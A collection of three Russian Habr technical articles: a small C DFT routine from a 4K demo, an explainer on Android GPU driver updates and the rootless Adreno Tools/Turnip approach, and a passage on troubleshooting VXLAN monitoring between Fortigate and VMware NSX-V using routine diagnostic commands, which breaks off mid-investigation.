В [Kindercrasher](http://www.iquilezles.org/prods/index.htm#kindercrasher), 4096-байтной демке из 2008 (скриншот на КДПВ), группа сфер пульсирует под музыку. Для этого я сосчитал преобразование Фурье звука. Существуют алгоритмы, делающие это в реальном времени, к примеру, [FFT](https://ru.wikipedia.org/wiki/%D0%91%D1%8B%D1%81%D1%82%D1%80%D0%BE%D0%B5_%D0%BF%D1%80%D0%B5%D0%BE%D0%B1%D1%80%D0%B0%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%A4%D1%83%D1%80%D1%8C%D0%B5). Однако, мой код должен вместиться в несколько килобайт, и я решил пойти иным путем. Вместо реализации FFT, я написал [DFT](https://ru.wikipedia.org/wiki/%D0%94%D0%B8%D1%81%D0%BA%D1%80%D0%B5%D1%82%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%B5%D0%BE%D0%B1%D1%80%D0%B0%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%A4%D1%83%D1%80%D1%8C%D0%B5) по его простому определению. Вы можете проверить это в википедии.
Моя функция также принимает 16-битный звуковой стерео буфер, `x`, и возвращает первые 128 частот звукового спектра звука `y`. Посмотрите, как организован внутренний цикл, тот, что выполняется 4096 раз: ни одного вызова функций `sin()` или `cos()`, хотя в других реализациях эти вызовы будут.
```
#include
void iqDFT12( float \*y, const short \*x )
{
for( int i=0; i<128; i++ )
{
const float wi = (float)i\*(2.0f\*3.1415927f/4096.0f);
const float sii = sinf( wi );
const float coi = cosf( wi );
float co = 1.0f;
float si = 0.0f;
float acco = 0.0f;
float acsi = 0.0f;
for( int j=0; j<4096; j++ )
{
const float f = (float)(x[2\*j+0]+x[2\*j+1]);
const float oco = co;
acco += co\*f; co = co\*coi - si\*sii;
acsi += si\*f; si = si\*coi + oco\*sii;
}
y[i] = sqrtf(acco\*acco+acsi\*acsi)\*(1.0f/32767.0f);
}
}
``` | https://habr.com/ru/post/462725/ | null | ru | null |
# Почему в Android графические драйверы нельзя обновлять так же просто, как на PC
Если вы PC-геймер, то, вероятно, постоянно обновляете драйверы GPU устройств AMD или NVIDIA. Обновление графических драйверов может повысить производительность и совместимость с новыми играми, поэтому нет никаких причин их не обновлять. Кроме того, обновление графических драйверов в Windows выполняется очень легко, или вручную через «Диспетчер устройств», или автоматически при помощи программы, предоставленной производителем GPU.
В Android нет простых способов обновления графических драйверов планшета или телефона. Если у вас отсутствует root-доступ, то самостоятельное обновление графических драйверов на большинстве устройств практически невозможно. В этой статье мы расскажем о том, как распространяются драйверы GPU, как Google и поставщики устройств пытались упростить их обновление, и что придумывают сторонние разработчики, чтобы обойти ограничения Android.
Сложности обновления драйверов GPU в Android
--------------------------------------------
В отличие от AMD и NVIDIA, компании Qualcomm и Arm, являющиеся производителями двух наиболее популярных линеек GPU для устройств на Android, не имеют прямой связи с потребителями. Невозможно собрать собственный смартфон, как это происходит с PC, поэтому при покупке GPU вы никогда не передаёте свои деньги напрямую Qualcomm или Arm. Qualcomm продаёт свои GPU производителям смартфонов в составе «системы на чипе» (system-on-chip, SoC), а Arm продаёт лицензии на свои архитектуры GPU производителям наподобие MediaTek, которые, в свою очередь, проектируют SoC с использованием этих GPU. Таким образом, Qualcomm стала на один шаг дальше от смартфона, попадающего в руки потребителей, а Arm стала дальше на два шага.
Не имея прямой связи с потребителями, эти производители мобильных GPU практически не мотивированы предоставлять пользователям доступ к пакетам обновлённых графических драйверов. Драйверы GPU напрямую передаются производителям смартфонов как часть Board Support Package (BSP). BSP, как я [ранее объяснял](https://www.blog.esper.io/android-dessert-bites-11-grf-323579/) в своей статье о программе Google Requirements Freeze — это пакет, содержащий исходный код и заранее собранные двоичные файлы, необходимые для запуска Android (или других операционных систем) на платформе конкретного чипсета. BSP содержат слои аппаратных абстракций (hardware abstraction layers, HAL) и драйверы, которые нужны Android для общения с оборудованием пользовательского устройства, в том числе и с GPU. Этот код BSP содержится в разделе устройства поставщика, доступном только для чтения, и может обновляться только производителем устройства при поддержке поставщика SoC.
Поставщики SoC обновляют BSP в течение жизненного цикла чипсета, устанавливаемого поставщиком SoC, однако он может [быть увеличен](https://medium.com/@Za_Raczke/how-android-updates-work-a-peek-behind-the-curtains-from-an-insider-1d8e1a48ec0b) при помощи платных лицензий поддержки ПО. Не каждое обновление BSP содержит обновлённые драйверы GPU, но если оно их содержит, то производители смартфонов могут извлечь из их обновлённого BSP, а затем передать их на устройства при помощи обновления OTA. Однако если вы знаете, как работают обновления Android, то сразу увидите здесь проблему. Обновления Android фрагментированы, то есть фрагментированными оказываются и графические драйверы.
Во-первых, графические драйверы не относятся к конкретной SoC. Например, графические драйверы Qualcomm поддерживают много разных GPU Adreno. Это значит, что графические драйверы, содержащиеся в BSP для одного чипсета, могут быть совместимы с GPU в другом чипсете. Однако один BSP может содержать обновлённую версию этих графических драйверов, а другие могут не содержать, потенциально оставляя устройства на других чипсетах со старыми версиями драйверов. Например, графические драйверы для Snapdragon 8 Gen 1 напрямую поддерживают Snapdragon 845 и последующие платформы, или, если конкретнее, все GPU Adreno 6xx и 7XX.
Ещё одна серьёзная проблема заключается в том, что производители пользовательских устройств (OEM) должны объединять обновлённые графические драйверы из BSP в свои проекты, тестировать их, а затем передавать их на устройства через обновление OTA. Нет даже гарантии того, что ваше конкретное устройство на Android получит обновления от OEM, не говоря уже про обновление, включающее в себя более новые графические драйверы. Это значит, что даже устройства с одинаковым чипсетом могут иметь разные графические драйверы.
И наконец, поскольку большинство устройств на Android продаётся без доступа superuser для пользователя, нет никакой возможности обновить драйверы GPU самостоятельно, то есть вы полностью зависите от OEM, устройство которого купили. Если вы получите root-доступ, то сможете вручную обновить графические драйверы в разделе поставщика, если каким-то образом найдёте необходимые файлы. Обычно для этого приходится извлекать драйверы из прошивки другого устройства, именно так поступают [некоторые экспериментаторы в сообществе *XDA-Developers*](https://forum.xda-developers.com/t/driver-10-0-adreno-600-series-opengl-vulkan-drivers-v-0481-0-1-1-128.4089967/). Именно так мне удалось обновить графические драйверы [на моём Pixel 3 XL с завершённым жизненным циклом](https://twitter.com/MishaalRahman/status/1494812122068443136), что существенно повысило графическую производительность телефона.
*Слева: бенчмарк 3DMark на Pixel 3 XL со стандартными драйверами поставщика. Справа: бенчмарк 3DMark на Pixel 3 XL с последним драйвером поставщика.*
Эти драйверы были от устройства со Snapdragon 8 Gen 1 и их сделал прошиваемыми на моём Pixel 3 XL со Snapdragon 845 разработчик [bylaws](https://github.com/bylaws), создавший [shim](https://en.wikipedia.org/wiki/Shim_(computing)) для [передачи вызовов](https://github.com/bylaws/libadrenotools/tree/master/tools/qtimapper-shim) между QtiMapper API, используемой новыми графическими драйверами Adreno, и [gralloc API](https://source.android.com/devices/graphics/arch-bq-gralloc#gralloc_HAL), доступным для старых Adreno.
Не так уж страшно, если ваше устройство не имеет самых новых графических драйверов, но пользователей и разработчиков игр это определённо может раздражать. Как говорилось выше, обновлённые графические драйверы могут обеспечить повышенную производительность, и это показывают результаты 3DMark на моём Pixel 3 XL. Более важно то, что новые драйверы могут устранять баги реализации некоторых функций графических API. Разработчикам игр и так сложно создавать проекты для Android из-за [сильных различий между GPU](https://vulkan.gpuinfo.org/compare.php?devices%5B%5D=samsung+SM-S908U%26os%3Dandroid&devices%5B%5D=samsung+SM-S908B%26os%3Dandroid#extensions) в отношении поддержки функций. Если дополнить это разницей в версиях драйверов на устройствах с одинаковым GPU, то можно понять, почему Android является сложной платформой с точки зрения разработки игр. Разработчикам или нужно поддерживать огромное количество способов обхода багов драйверов, или ограничивать совместимость устройств, и оба эти варианта плохи. Google [создаёт базовый профиль](https://developer.android.com/ndk/guides/graphics/android-baseline-profile), чтобы разработчики игр проще могли определять, поддерживает ли устройство множество стандартных функций Vulkan, но это всё равно не решает проблему фрагментации.
Однако снизить фрагментацию можно, упростив процесс обновления графических драйверов. Google признала это много лет назад, и [благодаря](https://www.xda-developers.com/android-o-users-will-update-graphics-drivers-through-play-store/) разделению систем и поставщиков, реализованному [Project Treble](https://www.blog.esper.io/android-dessert-bites-6-project-treble-retrospective-3195734/#:~:text=and%20power%20users.-,How%20Google%20rearchitected%20Android%20with%20Project%20Treble,-How%20exactly%20did), она может поставлять обновлённые графические драйверы [как часть стандартного пакета приложений Android](https://www.xda-developers.com/project-treble-google-pixel-2-graphics-drivers/). Qualcomm признала потенциал такого подхода, поэтому компания начала маркетинговую кампанию с информацией о том, что [её новые чипсеты](https://www.xda-developers.com/qualcomm-snapdragon-865-processor-specifications-features/#:~:text=Right%20is%20Disabled-,Updatable%20GPU%20drivers,-%3A%20Typically%2C%20updates%20to) поддерживают обновление драйверов GPU через магазин приложений. К сожалению, в конечном итоге это мало улучшило ситуацию.
Как Google и поставщики SoC пытались повысить удобство обновления драйверов
---------------------------------------------------------------------------
Благодаря тому, что Project Treble стандартизировал интерфейс между HAL и фреймворком ОС, упростился процесс обновления HAL без нарушения совместимости с фреймворком. В результате этого Treble упростил независимое обновление графических драйверов, устранив необходимость привязки обновлений графических драйверов к обновлениям всей прошивки. Однако сложность заключалась в том, чтобы разобраться, *как* доставлять эти обновления графических драйверов вне стандартного обновления OTA.
Решением этого вопроса стали пакеты приложений Android (файлы .APK). APK могут содержать общие библиотеки (файлы .so), к тому же они являются предпочтительным форматом доставки для любого магазина приложений Android, в том числе и Google Play. Поэтому неудивительно, что APK выбрали в качестве механизма для доставки обновлённых графических драйверов, даже вместо [формата файлов APEX](https://source.android.com/devices/tech/ota/apex), внедрённого вместе с Project Mainline. В конце концов, если у вас есть APK, то вы можете создать страницу в Google Play для загружаемых графических драйверов.
С точки зрения маркетинга это великолепно. Представьте — пользователь открывает Google Play и видит обновление драйверов GPU своего телефона. Кто-то из пользователей может подумать: «Отлично, точно как на моём PC! Отлично придумано, \*название компании\*!» Думаю, именно такой реакции ожидали Qualcomm [и Arm](https://www.xda-developers.com/arms-next-mali-gpu-updateable-drivers-google-play-store/), и именно поэтому многие OEM наподобие [Xiaomi](https://www.xda-developers.com/xiaomi-adreno-gpu-driver-update-snapdragon-865/), [OPPO](https://www.xda-developers.com/oppo-find-x2-and-find-x2-pro-with-snapdragon-865-receive-gpu-driver-update/) и [Samsung](https://www.xda-developers.com/samsung-gamedriver-app-improved-gaming-performance/) начали распространять обновления драйверов GPU через магазины приложений.
*Для устройств серий Samsung Galaxy S20 и Galaxy Note 20 можно получить обновления игровых драйверов через Google Play.*
Однако с точки зрения безопасности этот механизм доставки вызывает некоторые вопросы. Как гарантировать, что к пользователям попадут только утверждённые APK, содержащие валидированные и протестированные графические драйверы? Если любой произвольный APK может обновлять графические драйверы телефона, тогда телефон может выйти из строя из-за неправильных драйверов или подвергнуть опасности свою безопасность. Как же OEM могут безопасно доставлять обновления графических драйверов через магазин приложений?
Сначала OEM должен создать и подписать *пустой* APK обновляемого драйвера. Этот APK должен иметь собственное уникальное имя, если OEM хочет опубликовать приложение в магазине. Этот APK должен быть установлен по пути /vendor/app в разделе поставщика, то есть туда, где расположены изначально установленные графические драйверы.
Далее OEM должен создать и подписать *непустой* APK обновляемого драйвера. Этот APK должен содержать обновлённые графические драйверы, которые нужно доставить пользователю, и он должен иметь те же имя и подпись пакета, что и пустой APK обновляемого драйвера. [Благодаря верификации подписей](https://source.android.com/security/apksigning) Android отклоняет все приложения с тем же именем пакета, что и у APK драйвера, если он не подписан OEM, таким образом гарантируя, что только OEM сможет обновлять APK драйвера.
Так как раздел поставщика доступен только для чтения, изначально установленные графические драйверы не переписываются напрямую при обновлении APK драйвера (то же справедливо и для пустого APK обновляемого драйвера в /vendor/app). Единственный способ перезаписи этих файлов заключается в обновлении образа поставщика, то есть в выполнении стандартного процесса обновления OTA.
Чтобы обойти эту проблему, Google модифицировала Android, добавив поддержку загрузки библиотек графических драйверов из трёх источников: обновляемого драйвера в *продакшене*, находящегося в APK, обновляемого *предрелизного* драйвера в APK или *системного* графического драйвера, изначально установленного в раздел поставщика. Драйвер в продакшене предназначен для поставки на потребительские устройства, он содержится в APK, имеющем имя пакета, [заданного в системном свойстве](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/os/GraphicsEnvironment.java;l=74;bpv=0;bpt=0) ro.gfx.driver.0. Предрелизный драйвер предназначен для тестирования драйвера до отправки его потребителям, он содержится в APK, имя пакета которого задаётся в свойстве ro.gfx.driver.1.
*Содержимое Xiaomi GPU Driver Updater с именем пакета com.xiaomi.ugd.*
Android принимает решение о том, какие драйверы загружать, на основе системы белых списков. Сам APK драйвера может содержать белый список пакетов, которые OEM хочет автоматически выбирать для использования драйвера, но разработчики могут перейти в `Settings > Developer options > Graphics Driver Preferences` и выбрать там или графический драйвер, который [должны использовать все приложения](https://cs.android.com/android/platform/superproject/+/master:packages/apps/Settings/src/com/android/settings/development/graphicsdriver/GraphicsDriverEnableForAllAppsPreferenceController.java), или графический драйвер, который нужно использовать [для выбранных приложений](https://cs.android.com/android/platform/superproject/+/master:packages/apps/Settings/src/com/android/settings/development/graphicsdriver/GraphicsDriverAppPreferenceController.java).
*Скриншоты Graphics Driver Preferences в Developer options.*
Чтобы минимизировать ущерб от обновления драйвера с багом, обновляемые драйверы [никогда не загружаются](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/os/GraphicsEnvironment.java;l=664;bpv=0;bpt=1) для привилегированных или системных приложений. По той же причине поставщики SoC сами никогда не передают обновления графических драйверов при помощи такой схемы. Представьте, что было бы, если бы Qualcomm отправила обновление драйвера, которое поломало бы совместимость с играми в продукте OEM; OEM по понятным причинам был бы очень сердит на Qualcomm; вероятно поэтому поставщики комплектующих [предоставляют APK предрелизных драйверов](https://github.com/AndroidBlobs/device_xiaomi_lmipro/blob/qssi-user-10-QKQ1.191117.002-V11.0.6.0.QJKEUXM-release-keys-Thu-Apr-30-04-36-08-CST-2020/system.prop#L215), требуя, чтобы OEM распаковывали, тщательно тестировали, запаковывали, подписывали, а затем сами отправляли обновление драйвера в продакшен.
Поставщики комплектующих могли бы решить проблему фрагментации драйверов GPU сами, если бы сами создавали страницы для APK их драйверов в магазинах приложений, потому что в них уже есть собственные пустые пустые предрелизные APK драйверов в их BSP. Всем OEM достаточно было бы просто *не* удалять пустой подписанный предрелизный APK драйвера поставщика комплектующих. Однако нежелание (откровенно говоря, разумное) поставщиков комплектующих нести ответственность за поставки обновлений драйверов с багами в конечном итоге подрывает всю систему обновляемых драйверов GPU. Единственное, что изменилось — это механизм доставки обновлений драйверов GPU: OEM по-прежнему ответственны за саму передачу обновлений, то есть обновлённые драйверы не будут выпускаться по единому принципу. Большинство OEM по умолчанию всё равно будет просто выпускать обновления драйверов с OTA прошивок, потому что им достаточно тестировать только одно сочетание драйвера и прошивки вместо множества. Таким образом, мы вернулись в самое начало.
Дикое решение проблемы несогласованности драйверов GPU от разработчиков Skyline
-------------------------------------------------------------------------------
Недовольные несогласованностью драйверов GPU на Android, двое разработчиков [Skyline](https://github.com/skyline-emu/skyline) — эмулятора Nintendo Switch для Android с открытым исходным кодом, решили взяться за решение самостоятельно. Разработчиков игр для Android раздражает необходимость иметь дело со множеством разных GPU и их различающимися возможностями, но ещё сильнее это раздражает разработчиков эмуляторов, вынужденных реализовывать кучу неуклюжих обходных решений для устранения проблем совместимости в играх, изменять которые они практически не могут.
Например, разработчик Skyline [Марк «Pixelylon»](https://github.com/PixelyIon) недавно рассказал мне об одном из самых серьёзных ограничений, связанных с драйверами. Его команда работает над тем, чтобы его преодолеть. По его словам, во многих играх для Switch используется формат сжатия под названием [BCn](https://en.wikipedia.org/wiki/S3_Texture_Compression). В GPU Adreno аппаратная поддержка текстур BCn присутствовала много лет, однако Qualcomm не обеспечивала поддержку BCn в своих драйверах до эпохи Snapdragon 865. Марк считает, что причина заключается в [патентах на BCn](https://en.wikipedia.org/wiki/S3_Texture_Compression#Patent) (срок действия которых уже истёк), но как бы то ни было, это представляло сложность для разработчиков Skyline, потому что у пользователей со старыми GPU Adreno могли бы возникать проблемы совместимости с играми, использующими BCn.
Ещё один разработчик Skyline под ником [bylaws](https://github.com/bylaws), которого я уже упоминал в этой статье, придумал решение. Он разработал библиотеку [BCeNabler](https://github.com/bylaws/BCeNabler), которая патчит драйверы GPU Adreno, включая поддержку текстур BCn. Хотя это и сработало, такая система не могла быть жизнеспособным долговременным решением для разработчиков Skyline, потому что было сложно патчить проприетарные драйверы GPU Adreno компании Qualcomm, чтобы добавить что-то сверх простейших функций.
В процессе мозгового штурма в выборе дальнейших действий Марк шуточно предложил *заменять*, а не патчить загружаемый Skyline графический драйвер. Загрузка другого графического драйвера — не такая уж абсурдная идея, бОльшую часть этой статьи я как раз объяснял, как это сделать. Однако разработчики Skyline хотели реализовать это *без поддержки Google, OEM и поставщиков SoC*, а также *без необходимости root-доступа*. Иными словами, они хотели выполнить инъекцию совершенно другого драйвера, отличающегося от системного, и им нужно было это сделать без необходимости особых привилегий.
Разработчику bylaws пришла в голову гениальная идея: он придумал, как заменить загружаемый приложением драйвер пользовательского пространства, с условием, что драйвер пользовательского пространства будет совместим с драйвером ядра, который, по словам Марка «обычно достаточно стабилен и не очень часто меняется коренным образом». Bylaws дополнил BCeNabler, создав [Adreno Tools](https://github.com/bylaws/libadrenotools/) — не требующую root библиотеку для применения модификаций или замен драйвера GPU Adreno. Библиотека поддерживает загрузку произвольных драйверов GPU, включение текстур BCn и перенаправление файловых операций, чтобы обеспечить доступ к дампам шейдеров и [возможность изменения файла конфигурации драйвера](https://gist.github.com/bylaws/04130932e2634d1c6a2a9729e3940d60).
Adreno Tools работает *достаточно* сложным образом, но в говорить вкратце, она пользуется тем, что приложения Android не загружают графический драйвер самостоятельно. Вместо этого они используют драйвер Android (libvulkan.so), загружающий сам драйвер (libvulkan.adreno.so). Adreno Tools перехватывает этот процесс, инъецируя в системные библиотеки [обработчики](https://github.com/bylaws/libadrenotools/blob/master/src/hook/hook_impl.cpp#L22), а затем [выполняя замену](https://github.com/bylaws/libadrenotools/blob/master/src/driver.cpp#L13) на новый драйвер.
Благодаря Adreno Tools приложение Skyline может загружать Turnip — драйвер Vulkan с открытым исходным кодом для GPU Adreno, [не требуя root-доступа](https://docs.mesa3d.org/android.html#replacing-android-drivers-on-stock-android). Это серьёзный прорыв для сцены эмуляции на Android, потому что любой проект, имеющий дело с драйвером GPU Adreno, может обойти эти проблемы, загрузив Turnip. Turnip разрабатывается [в открытую](https://cgit.freedesktop.org/mesa/mesa/log/?qt=grep&q=turnip) командой разработчиков [проекта Freedreno](https://gitlab.freedesktop.org/freedreno/freedreno) в рамках [проекта Mesa](https://gitlab.freedesktop.org/mesa/mesa). Благодаря его открытости пользователям проще общаться с разработчиками, сообщать о багах или отправлять патчи, поэтому Turnip является привлекательным способом обхода всех связанных с драйверами проблем, с которыми сталкиваются разработчики эмуляторов.
Например, разработчик эмулятора PlayStation 2 для Android [AetherSX2](https://www.aethersx2.com/) под ником [Tahlreth](https://www.reddit.com/user/Tahlreth/) уже пользуется Adreno Tools. [По словам разработчика](https://www.reddit.com/r/EmulationOnAndroid/comments/strydg/newest_version_of_aethersx2_have_freedreno_turnip/hx5paon/), использование Turnip устраняет проблемы в эмуляции, наблюдаемые с драйвером GPU Adreno 660, но его применение [приводит к деградации производительности](https://www.reddit.com/r/EmulationOnAndroid/comments/strydg/newest_version_of_aethersx2_have_freedreno_turnip/hx5r0m1/?context=3) по сравнению с драйвером официального поставщика. Однако Tahlreth всё равно [распространяет сборки](https://www.aethersx2.com/archive/?dir=custom-turnip) AetherSX2 со встроенным драйвером Turnip, рассчитанные на тех пользователей, проблемы с эмуляцией у которых возникают из-за драйверов их устройств. Хотя разработчик [сообщает](https://www.reddit.com/r/EmulationOnAndroid/comments/strydg/newest_version_of_aethersx2_have_freedreno_turnip/hx5s7dn/), что эти сборки нельзя загружать в Google Play, недавно Марк из проекта Skyline сказал мне, что они недавно получили добро от Google на распространение их приложения с Turnip. Таким образом, есть шанс, что Tahlreth сможет сделать то же и с AetherSX2, чтобы пользователям не приходилось искать специальную версию эмулятора на веб-сайте проекта.
Если вы изучаете информацию в сообществах, где собираются фанаты эмуляции, то, вероятно, уже слышали такой совет: покупать устройства с GPU Adreno, потому что они лучше подходят для эмуляции. Этот совет возник из-за веры в то, что GPU Adreno обеспечивают более высокую производительность, имеют меньше багов в драйверах и поддерживают больше функций. Судя по моему опыту и информации, услышанной от разработчиков эмуляторов, это в течение многих лет было правдой, однако Марк сообщил мне, что GPU Mali компании Arm существенно сократили разрыв в качестве драйверов. GPU Adreno компании Qualcomm за последнюю пару лет тоже «сильно поднялись» и в них отсутствует поддержка только очень малого количества расширений Vulkan, поддерживаемых Turnip. Тем временем, драйвер для нового GPU Xclipse 920 компании Samsung в Galaxy S22 [поддерживает ещё больше расширений](https://vulkan.gpuinfo.org/compare.php?devices%5B%5D=samsung+SM-S908U%26os%3Dandroid&devices%5B%5D=samsung+SM-S908B%26os%3Dandroid#extensions), чем самые новые драйверы GPU Mali и Adreno, хотя, по словам Марка, на самом деле проекту Skyline не требуются все эти дополнительные функции.
*Сравнение поддержки расширений Vulkan между ARM Mali-G78 и Qualcomm Adreno 660 в серии Galaxy S21.*
*Сравнение поддержки расширений Vulkan между Samsung Xclipse 920 и Qualcomm Adreno 730 в серии Galaxy S22.*
Что же касается GPU Qualcomm, то Марк сообщил мне, что большинство необходимых проекту функций поддерживается оборудованием GPU Adreno, поэтому для доступа к ним достаточно лишь обновления драйверов. Это возможно благодаря Adreno Tools и Turnip, поэтому разработчики эмуляторов, пытающиеся справиться с проблемами драйверов на Android, могут попробовать поработать с библиотекой, созданной bylaws и Марк. Как только наберёт обороты разработка PanVK (драйвера Vulkan для GPU Mali с открытым исходным кодом), то разработчики увидят, можно ли будет дополнить Adreno Tools поддержкой устройств Mali. Надеемся, препятствий этому не будет, но это в любом случае потрясающий проект, за развитием которого интересно наблюдать. | https://habr.com/ru/post/656189/ | null | ru | null |
# VXLAN в NSX-V — траблшутим underlay
Приветствую, и сперва немного лирики. Я иногда завидую коллегам, работающим удалённо — ведь это прекрасно иметь возможность работать из любого конца подключённого к Internet мира, каникулы в любое время, ответственность за проекты и дедлайны, а не нахождение в офисе с 8 до 17. Моя позиция и рабочие обязанности практически исключают возможность долгого отсутствия в датацентре. Однако — периодически случаются интересные кейсы, подобные описанному ниже — и я понимаю, что существует мало позиций, где есть такой простор для творческого выражения внутреннего troubleshooter'а.
Небольшой дисклеймер — на момент написания статьи кейс полностью не решен, но учитывая скорость ответа вендоров, полное решение может занять еще месяцы, а поделиться своими находками хочется уже сейчас. Надеюсь, уважаемые читатели, вы простите мне эту поспешность. Но довольно воды — что там с кейсом?
Сначала вводная: есть фирма (где я работаю сетевым инженером), которая хостит клиентские решения в приватном облаке VMWare. Большинство новых решений подключаются к VXLAN-сегментам, которые управляются NSX-V — не буду оценивать сколько времени мне подарило это решение, кратко говоря — много. Удалось даже обучить коллег настройке NSX ESG и небольшие клиентские решения разворачиваются без моего участия. Важное замечание — control plane у нас с unicast-репликацией. Гипервизоры подключены избыточно двумя интерфейсами к разным физическим коммутаторам Juniper QFX5100 (собранным в Virtual Chassis) и политикой тиминга route based on originating virtual port — это для полноты картины.
Клиентские решения очень разнородные: от Windows IIS, где все компоненты web-сервера установлены на одной машине до вполне больших — например load-balanced Apache веб-фронты + LB MariaDB в Galera + сервера-шары, синхронизированные с помощью GlusterFS. Практически каждый сервер надо мониторить отдельно, а публичные адреса есть не у всех компонентов — если вы сталкивались с этой задачей и имеете более изящное решение, буду рад совету.
Моё решение мониторинга состоит в «подключении» фаервола (Fortigate) к каждой внутренней клиентской сети (+SNAT и, конечно, жёсткие ограничения по типу разрешённого трафика) и наблюдение за внутренними адресами — таким образом достигается некая унификация и упрощение мониторинга. Сам мониторинг происходит из кластера серверов PRTG. Схема мониторинга примерно такая:
Пока мы оперировали только с VLAN всё было вполне обычно и предсказуемо работало, как часы. После внедрения NSX-V и VXLAN столкнулись с вопросом — а можно ли продолжать мониторинг по-старому? На момент этого вопроса самым «быстрым» решением было развернуть NSX ESG и подключить VXLAN trunk-интерфейс в VTEP сеть. Быстрым в кавычках — так как использовать GUI для настройки клиентских сетей, SNAT и правил фаервола может и унифицирует управление в едином интерфейсе vSphere, но по моему мнению довольно громоздкое и кроме всего прочего ограничивает набор инструментов для траблшутинга. Те, кто использовал NSX ESG как замену «настоящему» фаерволу, думаю, согласятся. Хотя, наверное, такое решение было бы более стабильным — ведь всё происходит в рамках одного вендора.
Еще одно решение — использовать NSX DLR в режиме бриджа между VLAN и VXLAN. Тут я думаю всё понятно — банально теряется выгода от применения VXLAN — ведь в этом случае всё-равно приходится тянуть VLAN к мониторинг-инсталляции. Кстати, в процессе отработки этого решения я столкнулся с проблемой, когда DLR-бридж не отсылал пакеты виртуалке с которой он находился на одном хосте. Знаю, знаю — в книгах и гайдах по NSX-V прямо сказано, что для NSX Edge должен быть выделен отдельный кластер, но это в книгах… Так или иначе, после пары месяцев с саппортом проблему мы не решили. В принципе логику действа я понял — модуль ядра гипервизора, ответственный за инкапсуляцию VXLAN не задействовался, если DLR и наблюдаемый сервер находились на одном хосте, так как трафик не покидает хост и по логике должен быть подключен к VXLAN сегменту — инкапсуляция не нужна. С саппортом мы остановились на виртуальном интерфейсе vdrPort, который логически объединяет аплинки и он же осуществляет бриджевание/инкапсуляцию — вот там было замечено несоответствие во входящем трафике, которое я взял на отработку в текущем кейсе. Но как было сказано, до конца я этот кейс не довёл, так как был переброшен на другой проект да и ветвь изначально тупиковая и желания её развивать особо не было. Если не ошибаюсь, проблема наблюдалась в версиях NSX и 6.1.4 и 6.2.
И тут — бинго! Fortinet аннонсирует нативную [поддержку VXLAN](https://help.fortinet.com/fos50hlp/56/Content/FortiOS/fortigate-whats-new/Top-Network-vxlan.htm). И не просто point-to-point или VXLAN-over-IPSec, не софтварный бриджинг VLAN-VXLAN — всё это начали внедрять еще с версии 5.4 (и представлено у других [вендоров](https://docs.opnsense.org/manual/other-interfaces.html)), а настоящую поддержку unicast control plane. При внедрении решения я столкнулся с еще одной проблемой — проверяемые сервера периодически то «пропадали» то появлялись в мониторинге, хотя сама виртуалка была жива. Причиной как оказалось было то, что я забыл разрешить Ping на VXLAN-интерфейсе. В процессе ребалансировки кластеров, виртуалки перемещались, а Ping'ом завершался vMotion, чтобы обозначить новый ESXI хост, на который переместилась машина. Глупость моя, но эта проблема еще раз подорвала доверие к саппорту производителся — в этом случае Fortinet. Я уж не говорю, что каждый кейс, связанный с VXLAN начинается с вопроса «а где у вас в настройках софтсвич VLAN-VXLAN?» В этот раз мне посоветовали изменить MTU — это для Ping'а, который 32 байта. Потом «поиграйся» с tcp-send-mss и tcp-receive-mss в полиси — для VXLAN, который инкапсулируется в UDP. Фуф, простите — накипело. В общем эту проблему решил своими силами.
Успешно откатав тестовый трафик, решено было внедрять это решение. И в продакшене выяснилось, что после дня-двух постепенно отваливаются вообще всё, что мониторится через VXLAN. Деактивация/активация интерфейса помогала, но только на время. Памятуя о неторопливости саппорта производителся, я занялся траблшутингом со своей стороны — в конце концов моя компания, моя сеть — моя ответственность.
Под спойлером ход траблшутинга. Кто устал от букв и бахвальства — пропускайте и переходите к постанализу.
**Ход траблшутинга**
Спасибо, что продолжили чтение — продолжим!
Итак, мониторинг работает некоторое время, потом отваливается сам собой. Значит в политиках фаервола скорее всего проблем нет. Однако, так как я сталкивался с проблемой зависающих системных процессов в Fortigate версий 5.6+, поэтому сначала смотрим «diagnose debug flow» — ожидаемо трафик разрешается и улетает с интерфейса и ожидаемо ничего не приходит в ответ. Значит копаем далее по стеку. Придётся, к сожалению, скрывать адреса пусть даже и RFC1918, но надеюсь снабдить процесс достаточным описанием для понимания. Сервер внутри VXLAN имеет адрес х.х.х.15, интерфейс фортигейта х.х.х.254, все остальные адреса относятся к сети VTEP.
Для успешной передачи VXLAN-инкапсулированых пакетов необходимо наличие корректной информации в нескольких таблицах. Для overlay это ARP и OVSDB, для underlay это ARP и CAM. В случае Fortigate VXLAN FDB и есть OVSDB. Там и начнём:
```
fortigate (root) #diag sys vxlan fdb list vxlan-LS
mac=00:50:56:8f:3f:5a state=0x0002 flags=0x00 remote_ip=у.у.у.47 port=4789 vni=5008 ifindex=7
```
Тут всё достаточно просто — MAC адрес виртуалки должен находиться на VTEP с адресом у.у.у.47. Посмотрев содержимое и настройки ESXI кластера, я нахожу, что MAC виртуалки верный, адрес VTEP тоже. Проверяю CAM/ARP таблицу на фортике — опять все совпадает с настройками ESXI хоста:
```
fortigate (root) #get sys arp | grep у.у.у.47
у.у.у.47 0 00:50:56:65:f6:2c dmz
```
Таблицы верны и трафик уходит — может проблема не на фортигейте? Я намеренно пропустил анализ коммутации трафика на Juniper'е — по логике это на нём надо осуществлять следующий шаг траблшутинга, но сеть у меня простая — всего один VLAN для VTEP и все компоненты подключены напрямую. Плюс вспоминаю кейс с DLR-бриджем, VDR и пропадающем трафике — иду снифить на ESXI хост, попутно создаю кейс уже к VMWare. Ниже MAC «97:6e» принадлежит фортику, vmnic1 — это интерфейс, который имеет VTEP с адресом у.у.у.47 снифим в обоих направлениях "--dir 2":
```
pktcap-uw --uplink vmnic1 --vni 5008 --mac 90:6c:ac:a9:97:6e --dir 2 -o /tmp/monitor.pcap
```
Прогресс — в снифе вижу ARP запрос и приходящий ответ. Привожу только ARP ответ и там всё верно. Я не упомянул, но всё это время сервер мониторинга пингует адрес х.х.х.15 — где же ICMP трафик? Вспоминаю, что аплинка у меня два. Тут можно поспорить и сказать, что виртуальный порт источника один и тот же (мой teaming policy), то есть для одной и той же vNIC должен выбираться один и тот же аплинк, но раз уж я на хосте, проверить другой аплинк не проблема:
```
